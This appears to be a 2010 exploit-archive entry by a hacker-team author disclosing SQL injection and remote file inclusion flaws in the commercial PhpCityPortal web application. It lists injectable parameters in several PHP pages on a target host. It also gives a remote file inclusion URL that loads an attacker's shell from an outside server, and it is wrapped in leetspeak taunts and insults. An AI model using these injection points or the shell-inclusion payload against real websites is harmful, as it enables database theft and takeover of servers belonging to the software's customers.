PhpCityPortal Multiple Vulnerabilities

2010-03-10T00:00:00
ID 1337DAY-ID-11243
Type zdt
Reporter R3d-D3v!L
Modified 2010-03-10T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ======================================
PhpCityPortal Multiple Vulnerabilities
======================================

[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: suffer from multi SQL !NJECTON Vulnerability
[~] Vendor: phpcityportal.com
[?] Software : PhpCityPortal
[-] pR!CE :
-PURCHASE 1 LICENSE - $149 each
-PURCHASE 3 LICENSES - $119 each
-PURCHASE 5 LICENSES - $99 each
-PURCHASE 6 OR MORE LICENSES PLEASE CONTACT US FOR PRICING.
 
[?] author: ((R3d-D3v!L))
[?] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY
[?] contact: N/A

SQL Injection:
 
[*] Err0r C0N50L3:
 
http://TARGET/P47H/video_show.php?id=SQL
 
http://TARGET/P47H/spotlight_detail.php?id=SQL
 
http://TARGET/P47H/real_estate_details.php?id=sql
 
http://TARGET/P47H/auto_details.php?id=sql
 
 
[~] {EV!L EXPLO!T}:
 
[*]FORb!d3N
 
 
Remote File Inclusion:
 
[*] Err0r C0N50L3:
 
http://TARGET/P47H/external.php?url=include your fucken evil shell
 
 
[~] {EV!L EXPLO!T}:
 
like:
http://server/external.php?url=http://xp10.me
 
N073:
 
REAL RED DEV!L [email protected] h3r3 LAMERZ
 
 
GAZA !N our hearts !



#  0day.today [2018-04-14]  #